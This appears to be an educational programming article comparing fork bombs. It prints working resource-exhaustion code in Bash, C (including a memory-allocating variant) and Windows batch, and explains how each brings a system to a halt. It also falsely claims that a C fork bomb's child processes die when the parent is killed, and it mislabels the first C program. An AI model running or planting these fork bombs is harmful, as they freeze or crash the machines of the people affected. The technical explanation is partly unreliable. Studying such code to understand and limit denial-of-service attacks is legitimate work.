C vs BASH Fork bomb

Pre-requisites :

• Fork System Call
• Fork bomb

Bash fork bomb :

:(){:&:&};:

Working in Unix :
In Unix-like operating systems, fork bombs are generally written to use the fork system call. As forked processes are also copies of the first program, once they resume execution from the next address at the frame pointer, they also seek to create a copy of themselves. This has the effect of causing an exponential growth in processes.

C program for fork bomb :

// Modified fork bomb
#include <unistd.h>
#include <malloc.h>

int main()
{
    //Infinite loop
    while (1)
    {
        // Generating child fork processes
        fork();
    }
}

Working in Windows :
Microsoft Windows operating systems do not have an equivalent functionality to the Unix fork system call. A fork bomb on such an operating system must therefore create a new process instead of forking from an existing one.

Which is more powerful between Bash and C fork() bomb

This is clear that the BASH fork bomb is much more powerful than its version of C program. The reason is that in BASH the process we create is detached from the parent. If the parent process (the one we initially started) is killed, the rest of the processes live on. But in the C implementation, the listed child processes die if the parent is killed, so it’s enough to bring down the initial process we started to bring down the whole tree of ever-forking processes. A script communicates with the system directly.

The fork bomb program in C can be modified. We can allocate memory in the program at the time of creating the fork processes.
Below is the implementation of modified C fork bomb:

// Modified fork bomb
#include <unistd.h>
#include <malloc.h>

int main()
{
    // Infinite loop
    while (1)
    {
        // Generating child fork processes
        fork();

        // Allocating memory in RAM
        int *p = (int *) malloc (sizeof (int) * 100000);
    }
}

Different fork bombs in Windows :

• Terminal script :

  %0|%0

  Save it as a bat extension(Example fork.bat).
  The process of every symbol is somehow similar to the BASH script. The given line will call the same file again and pipe the output to another instance of the same batch file. It is not deadly enough to crash the system. But it will surely make the CPU unresponsive enough to leave reboot as only option.

• Batch file :

  :runthis
  start %0
  goto runthis
  

  Save it as a bat extension(Example fork.bat).
  Working :

  :runthis is a label which determines a point 
  where the execution can be sent using the goto command.
  
  start %0 asks the command prompt to launch 
  another instance of the same batch file into another process.
  
  goto runthis command tells the execution to 
  go to the runthis label which will then call the start %0 command.
  

  It will go into a self recursive call and end up creating a lot of processes.
  The system will hang up due to resource over-usage! A lot of command prompt windows will open up and the entire system will come to a halt within few seconds.